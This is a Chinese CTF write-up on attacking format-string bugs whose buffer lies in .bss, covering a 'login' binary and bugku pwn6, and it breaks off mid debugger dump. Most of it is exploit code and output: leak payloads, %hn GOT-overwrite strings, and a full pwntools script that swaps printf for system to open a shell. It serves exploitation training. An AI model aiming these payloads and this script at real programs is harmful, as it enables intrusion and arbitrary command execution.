-
-
[原创]攻击格式化字符串在.bss段的程序(bugku-pwn6)
-
发表于: 2021-5-28 12:47 14990
-
How to attack a printf format string vulnerability program which is the format string buffer base on .bss section
举例
以login这道题为例,详细讲解下做这种题的思路。
保护机制
查看保护:
1 2 3 4 5 6 7 8 9 | dc@ubuntu:~ / playground$ file . / login . / login: ELF 32 - bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter / lib / ld - linux.so. 2 , for GNU / Linux 2.6 . 32 , BuildID[sha1] = dbbf329da12ebdd87dcae5d032eda61796f7d0c3, stripped dc@ubuntu:~ / playground$ pwn checksec login [ * ] '/home/dc/playground/login' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) |
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | int __cdecl main() { setbuf(stdin, 0 ); setbuf(stdout, 0 ); setbuf(stderr, 0 ); puts( "Please input your name: " ); read( 0 , byte_804B080, 0xCu ); puts( "Base maybe not easy......" ); return sub_80485E3(); } int sub_80485E3() { printf( "hello, %s" , byte_804B080); return sub_804854B(); } int sub_804854B() { puts( "Please input your password: " ); while ( 1 ) { s1[read( 0 , s1, 0x32u )] = 0 ; if ( !strncmp(s1, "wllmmllw" , 8u ) ) break ; printf( "This is the wrong password: " ); printf(s1); puts( "Try again!" ); } return puts( "Login successfully! Have fun!" ); } |
很明显最后的函数中有典型的格式化字符串漏洞:
1 | printf(s1); |
但buf在.bss段上,所以不能用自动化工具来打:
1 | .bss: 0804B0A0 s1 db ? ; DATA XREF: sub_804854B + 1B ↑o |
思路
我们利用字符串格式化漏洞攻击got表,将printf修改成为system,然后之后循环中输入/bin/sh
就可以完成利用:
1 2 3 | printf(s1); - - - - - - - - - after attack - - - - - - - - - > system( '/bin/sh' ); |
首先查看调用printf时的栈情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | 0xffc6a7d0 │ + 0x0000 : 0x0804b0a0 → "%42988c%6$hn" ← $esp 0xffc6a7d4 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xffc6a7d8 │ + 0x0008 : 0x00000008 0xffc6a7dc │ + 0x000c : 0x080485fb → add esp, 0x10 0xffc6a7e0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xffc6a7e4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xffc6a7e8 │ + 0x0018 : 0xffc6a7f8 → 0xffc6a808 → 0x00000000 ← $ebp 0xffc6a7ec │ + 0x001c : 0x08048603 → nop ─────────────────────────────────────────────────────────────── code:x86: 32 ──── 0x80485a4 add esp, 0x10 0x80485a7 sub esp, 0xc 0x80485aa push 0x804b0a0 → 0x80485af call 0x8048400 <printf@plt> ↳ 0x8048400 <printf@plt + 0 > jmp DWORD PTR ds: 0x804b014 0x8048406 <printf@plt + 6 > push 0x10 0x804840b <printf@plt + 11 > jmp 0x80483d0 0x8048410 <puts@plt + 0 > jmp DWORD PTR ds: 0x804b018 0x8048416 <puts@plt + 6 > push 0x18 0x804841b <puts@plt + 11 > jmp 0x80483d0 ─────────────────────────────────────────────────────── arguments (guessed) ──── printf@plt ( [sp + 0x0 ] = 0x0804b0a0 → "%42988c%6$hn" , [sp + 0x4 ] = 0x08048dae → "wllmmllw" , [sp + 0x8 ] = 0x00000008 , [sp + 0xc ] = 0x080485fb → add esp, 0x10 , [sp + 0x10 ] = 0x08048dfd → "hello, %s" ) ─────────────────────────────────────────────────────────────────── threads ──── [ #0] Id 1, Name: "login", stopped 0x80485af in ?? (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [ #0] 0x80485af → call 0x8048400 <printf@plt> [ #1] 0x8048603 → nop [ #2] 0x8048689 → nop [ #3] 0xf7dc1647 → __libc_start_main() [ #4] 0x8048471 → hlt ──────────────────────────────────────────────────────────────────────────────── gef➤ dereference $esp 20 0xffc6a7d0 │ + 0x0000 : 0x0804b0a0 → "%42988c%6$hn" ← $esp 0xffc6a7d4 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xffc6a7d8 │ + 0x0008 : 0x00000008 0xffc6a7dc │ + 0x000c : 0x080485fb → add esp, 0x10 0xffc6a7e0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xffc6a7e4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xffc6a7e8 │ + 0x0018 : 0xffc6a7f8 → 0xffc6a808 → 0x00000000 ← $ebp 0xffc6a7ec │ + 0x001c : 0x08048603 → nop 0xffc6a7f0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xffc6a7f4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xffc6a7f8 │ + 0x0028 : 0xffc6a808 → 0x00000000 0xffc6a7fc │ + 0x002c : 0x08048689 → nop 0xffc6a800 │ + 0x0030 : 0xf7f5c3dc → 0xf7f5d1e0 → 0x00000000 0xffc6a804 │ + 0x0034 : 0xffc6a820 → 0x00000001 0xffc6a808 │ + 0x0038 : 0x00000000 0xffc6a80c │ + 0x003c : 0xf7dc1647 → <__libc_start_main + 247 > add esp, 0x10 0xffc6a810 │ + 0x0040 : 0xf7f5c000 → 0x001b2db0 0xffc6a814 │ + 0x0044 : 0xf7f5c000 → 0x001b2db0 0xffc6a818 │ + 0x0048 : 0x00000000 0xffc6a81c │ + 0x004c : 0xf7dc1647 → <__libc_start_main + 247 > add esp, 0x10 |
用这样的字符串可以泄露栈和libc的地址:
1 | payload1 = '\n%6$p\n%15$p\n' |
之后利用栈中指向栈数据的数据来构造攻击链:
1 2 | 0xffc6a7f8 (栈中) - > 0xffc6a808 (栈中) - > 栈中(printf@got) - > printf 0xffc6a7f8 (栈中) - > 0xffc6xxxx (栈中) - > 栈中(printf@got + 2 ) |
因为要一次性写两个两字节的数据,需要两个地址,自然需要两条链条。构造链条代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | def DoubSzWt(number,deviation): payload = '%' + str (number) + 'c%' + str (deviation) + '$hn' return payload gef➤ dereference $esp 15 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "%54700c%6$hn" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5c8 → 0x00000000 ← $ebp 0xfff4d5ac │ + 0x001c : 0x08048603 → nop 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5c8 → 0x00000000 0xfff4d5bc │ + 0x002c : 0x08048689 → nop 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 p.sendafter( 'Try again!\n' ,DoubSzWt(stack_addr_0_2 - 12 , 6 )) gef➤ dereference $esp 15 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "%45076c%10$hn" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5ac → 0x08048603 → nop ← $ebp 0xfff4d5ac │ + 0x001c : 0x08048603 → nop 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5ac → 0x08048603 → nop 0xfff4d5bc │ + 0x002c : 0x08048689 → nop 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 p.sendafter( 'Try again!\n' ,DoubSzWt( int ( 'B014' , 16 ), 10 )) 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "%54716c%6$hn" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5ac → 0x0804b014 → 0xf7e4a680 → <printf + 0 > call 0xf7f20c79 ← $ebp 0xfff4d5ac │ + 0x001c : 0x0804b014 → 0xf7e4a680 → <printf + 0 > call 0xf7f20c79 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5ac → 0x0804b014 → 0xf7e4a680 → <printf + 0 > call 0xf7f20c79 0xfff4d5bc │ + 0x002c : 0x08048689 → nop 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 p.sendafter( 'Try again!\n' ,DoubSzWt(stack_addr_0_2 + 4 , 6 )) 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "%45078c%10$hn" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5bc → 0x08048689 → nop ← $ebp 0xfff4d5ac │ + 0x001c : 0x0804b014 → 0xf7e4a680 → <printf + 0 > call 0xf7f20c79 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5bc → 0x08048689 → nop 0xfff4d5bc │ + 0x002c : 0x08048689 → nop 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 p.sendafter( 'Try again!\n' ,DoubSzWt( int ( 'B016' , 16 ), 10 )) gef➤ dereference $esp 15 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "%48560c%7$hn%14899c%11$hn" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5bc → 0x0804b016 → 0x0cb0f7e4 ← $ebp 0xfff4d5ac │ + 0x001c : 0x0804b014 → 0xf7e4a680 → <printf + 0 > call 0xf7f20c79 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5bc → 0x0804b016 → 0x0cb0f7e4 0xfff4d5bc │ + 0x002c : 0x0804b016 → 0x0cb0f7e4 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 payload = '%' + str (sys_addr_0_2) + 'c%7$hn' + '%' + str (sys_addr_2_4 - sys_addr_0_2) + 'c%11$hn' gef➤ dereference $esp 15 0xfff4d590 │ + 0x0000 : 0x0804b0a0 → "/bin/sh" ← $esp 0xfff4d594 │ + 0x0004 : 0x08048dae → "wllmmllw" 0xfff4d598 │ + 0x0008 : 0x00000008 0xfff4d59c │ + 0x000c : 0x080485fb → add esp, 0x10 0xfff4d5a0 │ + 0x0010 : 0x08048dfd → "hello, %s" 0xfff4d5a4 │ + 0x0014 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5a8 │ + 0x0018 : 0xfff4d5b8 → 0xfff4d5bc → 0x0804b016 → 0x0cb0f7e3 ← $ebp 0xfff4d5ac │ + 0x001c : 0x0804b014 → 0xf7e3bdb0 → <system + 0 > sub esp, 0xc 0xfff4d5b0 │ + 0x0020 : 0x08048e20 → "Base maybe not easy......" 0xfff4d5b4 │ + 0x0024 : 0x0804b080 → 0x00006461 ( "ad" ?) 0xfff4d5b8 │ + 0x0028 : 0xfff4d5bc → 0x0804b016 → 0x0cb0f7e3 0xfff4d5bc │ + 0x002c : 0x0804b016 → 0x0cb0f7e3 0xfff4d5c0 │ + 0x0030 : 0xf7fb43dc → 0xf7fb51e0 → 0x00000000 0xfff4d5c4 │ + 0x0034 : 0xfff4d5e0 → 0x00000001 0xfff4d5c8 │ + 0x0038 : 0x00000000 |
可以看到利用构造的两条链条,printf已经被改成了system,以下是全部脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * #from LibcSearcher import LibcSearcher #p=remote('108.160.139.79',9090) p = process( './login' ) elf = ELF( './login' ) libc = ELF( '/lib/i386-linux-gnu/libc.so.6' ) #context.log_level="debug" p.sendafter( 'your name: ' , 'ad' ) payload1 = '\n%6$p\n%15$p\n' p.sendafter( 'Please input your password: \n' ,payload1) def DoubSzWt(number,deviation): payload = '%' + str (number) + 'c%' + str (deviation) + '$hn' return payload p.recvuntil( '0x' ) stack_addr = int (p.recv( 8 ), 16 ) p.recvuntil( '0x' ) libc_main_addr = int (p.recv( 8 ), 16 ) - 247 print "libc_main_addr=>" , hex (libc_main_addr) '''libc=LibcSearcher('__libc_start_main',libc_main_addr)''' libc_data = libc_main_addr - libc.symbols[ '__libc_start_main' ] sys_addr = libc_data + libc.symbols[ 'system' ] #+0x480 #str_sh_addr=libc_data+libc.symbols['str_bin_sh'] str_bin_sh = libc.search( "/bin/sh\x00" ). next () sys_addr_0_2 = int ( str ( hex (sys_addr))[ 6 : 10 ], 16 ) sys_addr_2_4 = int ( str ( hex (sys_addr))[ 2 : 6 ], 16 ) stack_addr_0_2 = int ( str ( hex (stack_addr))[ 6 : 10 ], 16 ) print "sys_addr=>" , hex (sys_addr) print 'sys_addr_0_2=>' , hex (sys_addr_0_2) print 'sys_addr_2_4=>' , hex (sys_addr_2_4) print 'stack_addr=>' , hex (stack_addr) print 'stack_addr_0_2=>' , hex (stack_addr_0_2) print 'libc_data=>' , hex (libc_data) p.sendafter( 'Try again!\n' ,DoubSzWt(stack_addr_0_2 - 12 , 6 )) p.sendafter( 'Try again!\n' ,DoubSzWt( int ( 'B014' , 16 ), 10 )) p.sendafter( 'Try again!\n' ,DoubSzWt(stack_addr_0_2 + 4 , 6 )) p.sendafter( 'Try again!\n' ,DoubSzWt( int ( 'B016' , 16 ), 10 )) ''' gdb.attach(p,'break *0x80485AF\nc') pause() ''' # in case sys_addr_2_4 < sys_addr_0_2 will fail payload = '%' + str (sys_addr_0_2) + 'c%7$hn' + '%' + str (sys_addr_2_4 - sys_addr_0_2) + 'c%11$hn' p.sendafter( 'Try again!\n' ,payload) p.sendafter( 'Try again!\n' , '/bin/sh\x00' ) p.interactive() |
以及攻击效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | dc@ubuntu:~ / playground$ python payload_login.py [ + ] Starting local process './login' : pid 80372 [ * ] '/home/dc/playground/login' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) [ * ] '/lib/i386-linux-gnu/libc.so.6' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled libc_main_addr = > 0xf7df4550 sys_addr = > 0xf7e16db0 sys_addr_0_2 = > 0x6db0 sys_addr_2_4 = > 0xf7e1 stack_addr = > 0xff849c68 stack_addr_0_2 = > 0x9c68 libc_data = > 0xf7ddc000 [ * ] Switching to interactive mode sh: 1 : This: not found $ whoami dc |
实战
以bugku平台的pwn6为例,拿到文件后查看下信息:
1 2 3 4 5 6 7 8 9 | dc@ubuntu:~ / playground$ file . / pwn6 . / pwn6: ELF 64 - bit LSB shared object , x86 - 64 , version 1 (SYSV), dynamically linked, interpreter / lib64 / ld - linux - x86 - 64.so . 2 , for GNU / Linux 2.6 . 18 , BuildID[sha1] = 365a5457b66ba7f0a740bd937960303dbe40a2e3 , stripped dc@ubuntu:~ / playground$ pwn checksec pwn6 [ * ] '/home/dc/playground/pwn6' Arch: amd64 - 64 - little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled |
有pie保护那么需要泄露main,libc的地址。
vulnerabilities
第一个函数中有缓冲区溢出风险:
1v3
=
read(
0
, &src,
0x150uLL
);
而控制循环的变量正好位于其下方:
123.data:
00000000002015C0
src db
0
; DATA XREF: _1_C15
+
65
↑o
\\....
.data:
0000000000201700
qword_201700 dq
1
第二个函数里有格式化字符串漏洞:
1234v1
=
read(
0
, buf1,
24uLL
);
puts(
"after encoding..."
);
sub_AFF(buf1, v1);
printf(buf1);
尽管程序会对字符串进行移位操作:
1234567891011121314151617__int64 __fastcall sub_AFF(__int64 buf,
int
len
)
{
__int64 result;
/
/
rax
int
index;
/
/
[rsp
+
18h
] [rbp
-
4h
]
for
( index
=
0
; ;
+
+
index )
{
result
=
index;
if
( index >
=
len
)
break
;
*
(buf
+
index)
=
4
*
(
*
(buf
+
index) &
0xC
)
+
4
*
(
*
(buf
+
index) &
0x30
)
+
((
*
(buf
+
index) &
0xC0
) >>
6
)
+
4
*
(
*
(buf
+
index) &
3
);
}
return
result;
}
并且buf不在栈上:
1.bss:
0000000000201720
buf1
但如果在栈中构造好两个链条,还是有机会利用这个漏洞劫持printf@got。
第三个函数中有strcpy,存在栈溢出的风险:
1strcpy(buf, &src);
可以用来将一些值部署在栈中。
第二个函数开辟了很多栈空间,而且并没有初始化栈空间的值:
12345678910111213141516171819202122232425262728293031.text:
0000000000000CCD
; __unwind {
.text:
0000000000000CCD
push rbp
.text:
0000000000000CCE
mov rbp, rsp
.text:
0000000000000CD1
sub rsp,
160h
.text:
0000000000000CD8
lea rdi, aEncode2 ;
"==========encode2=========="
.text:
0000000000000CDF
call _puts
.text:
0000000000000CE4
lea rdi, aYourMessageToE ;
"your message to encode:"
.text:
0000000000000CEB
call _puts
.text:
0000000000000CF0
mov edx,
18h
; nbytes
.text:
0000000000000CF5
mov rax, cs:buf
.text:
0000000000000CFC
mov rsi, rax ; buf
.text:
0000000000000CFF
mov edi,
0
; fd
.text:
0000000000000D04
call _read
.text:
0000000000000D09
mov [rbp
+
var_4], eax
.text:
0000000000000D0C
lea rdi, aAfterEncoding ;
"after encoding..."
.text:
0000000000000D13
call _puts
.text:
0000000000000D18
mov eax, [rbp
+
var_4]
.text:
0000000000000D1B
mov esi, eax
.text:
0000000000000D1D
mov rax, cs:buf
.text:
0000000000000D24
mov rdi, rax
.text:
0000000000000D27
call sub_AFF
.text:
0000000000000D2C
mov rax, cs:buf
.text:
0000000000000D33
mov rdi, rax ;
format
.text:
0000000000000D36
mov eax,
0
.text:
0000000000000D3B
call _printf
.text:
0000000000000D40
lea rdi, aNiceEncoding ;
"nice encoding..."
.text:
0000000000000D47
call _puts
.text:
0000000000000D4C
leave
.text:
0000000000000D4D
retn
.text:
0000000000000D4D
; }
/
/
starts at CCD
.text:
0000000000000D4D
_2_CCD endp
这使得部分部署好的值不会被抹去(记得一定要初始化变量)
思路
据此,此题的解题思路如下:
- 利用格式化字符串泄露地址。
- 因为第二个函数没有清理栈,所以利用函数三在栈中投放printf@got。
- 在第二个函数中劫持printf@got,将其修改成system,然后输入字符串直接执行system('/bin/sh')。
调试
在调试中确定栈中情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | gef➤ dereference $rsp 50 0x00007ffdf9089280 │ + 0x0000 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rax, $rsp 0x00007ffdf9089288 │ + 0x0008 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089290 │ + 0x0010 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089298 │ + 0x0018 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892a0 │ + 0x0020 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892a8 │ + 0x0028 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892b0 │ + 0x0030 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892b8 │ + 0x0038 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892c0 │ + 0x0040 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892c8 │ + 0x0048 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892d0 │ + 0x0050 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892d8 │ + 0x0058 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892e0 │ + 0x0060 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892e8 │ + 0x0068 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892f0 │ + 0x0070 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf90892f8 │ + 0x0078 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089300 │ + 0x0080 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089308 │ + 0x0088 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089310 │ + 0x0090 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089318 │ + 0x0098 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089320 │ + 0x00a0 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089328 │ + 0x00a8 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089330 │ + 0x00b0 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089338 │ + 0x00b8 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089340 │ + 0x00c0 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089348 │ + 0x00c8 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089350 │ + 0x00d0 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089358 │ + 0x00d8 : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffdf9089360 │ + 0x00e0 : 0x4141414141414141 0x00007ffdf9089368 │ + 0x00e8 : 0x4141414141414141 0x00007ffdf9089370 │ + 0x00f0 : 0x4141414141414141 0x00007ffdf9089378 │ + 0x00f8 : 0x4141414141414141 0x00007ffdf9089380 │ + 0x0100 : 0x4141414141414141 0x00007ffdf9089388 │ + 0x0108 : 0x4141414141414141 0x00007ffdf9089390 │ + 0x0110 : 0x000055f31cf6a580 → 0x00007feb09f73a50 → <__strcpy_sse2_unaligned + 0 > mov rcx, rsi ← $rbp, $rdi |
转到函数二时栈情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | gef➤ dereference $rsp 50 0x00007ffdf9089230 │ + 0x0000 : 0x00007ffdf9089490 → 0x0000000000000001 ← $rsp 0x00007ffdf9089238 │ + 0x0008 : 0x00007feb09f4882b → <_IO_file_overflow + 235 > cmp eax, 0xffffffff 0x00007ffdf9089240 │ + 0x0010 : 0x0000000000000010 0x00007ffdf9089248 │ + 0x0018 : 0x00007feb0a293620 → 0x00000000fbad2887 0x00007ffdf9089250 │ + 0x0020 : 0x000055f31cd6a0c1 → "nice encoding..." 0x00007ffdf9089258 │ + 0x0028 : 0x00007feb09f3d80a → <puts + 362 > cmp eax, 0xffffffff 0x00007ffdf9089260 │ + 0x0030 : 0x0000000000000000 0x00007ffdf9089268 │ + 0x0038 : 0x00007feb0a4bf168 → 0x000055f31cd69000 → jg 0x55f31cd69047 0x00007ffdf9089270 │ + 0x0040 : 0x0000000000000007 0x00007ffdf9089278 │ + 0x0048 : 0x000055f31cd69de1 → mov eax, 0x0 0x00007ffdf9089280 │ + 0x0050 : 0x4141414141414141 0x00007ffdf9089288 │ + 0x0058 : 0x00007feb0a2928e0 → 0x00000000fbad208b 0x00007ffdf9089290 │ + 0x0060 : 0x000055f31cd698b0 → xor ebp, ebp 0x00007ffdf9089298 │ + 0x0068 : 0x00007ffdf9089490 → 0x0000000000000001 0x00007ffdf90892a0 │ + 0x0070 : 0x0000000000000000 0x00007ffdf90892a8 │ + 0x0078 : 0x0000000000000000 0x00007ffdf90892b0 │ + 0x0080 : 0x000055f31cf6a580 → 0x00007feb09f73a50 → <__strcpy_sse2_unaligned + 0 > mov rcx, rsi 0x00007ffdf90892b8 │ + 0x0088 : 0x00007feb09f395ef → <__isoc99_scanf + 271 > and DWORD PTR [rbx + 0x74 ], 0xffffffeb 0x00007ffdf90892c0 │ + 0x0090 : 0x4141414141414141 0x00007ffdf90892c8 │ + 0x0098 : 0x0000003000000008 0x00007ffdf90892d0 │ + 0x00a0 : 0x00007ffdf90893a0 → 0x00007ffdf9089490 → 0x0000000000000001 0x00007ffdf90892d8 │ + 0x00a8 : 0x00007ffdf90892e0 → 0x4141414141414141 0x00007ffdf90892e0 │ + 0x00b0 : 0x4141414141414141 0x00007ffdf90892e8 │ + 0x00b8 : 0x000055f31cf6a57c → 0x09f73a5000000002 0x00007ffdf90892f0 │ + 0x00c0 : 0x000055f31cf6a57c → 0x09f73a5000000002 0x00007ffdf90892f8 │ + 0x00c8 : 0x00007feb09fc53c0 → <__write_nocancel + 7 > cmp rax, 0xfffffffffffff001 0x00007ffdf9089300 │ + 0x00d0 : 0x00007feb0a4a4700 → 0x00007feb0a4a4700 → 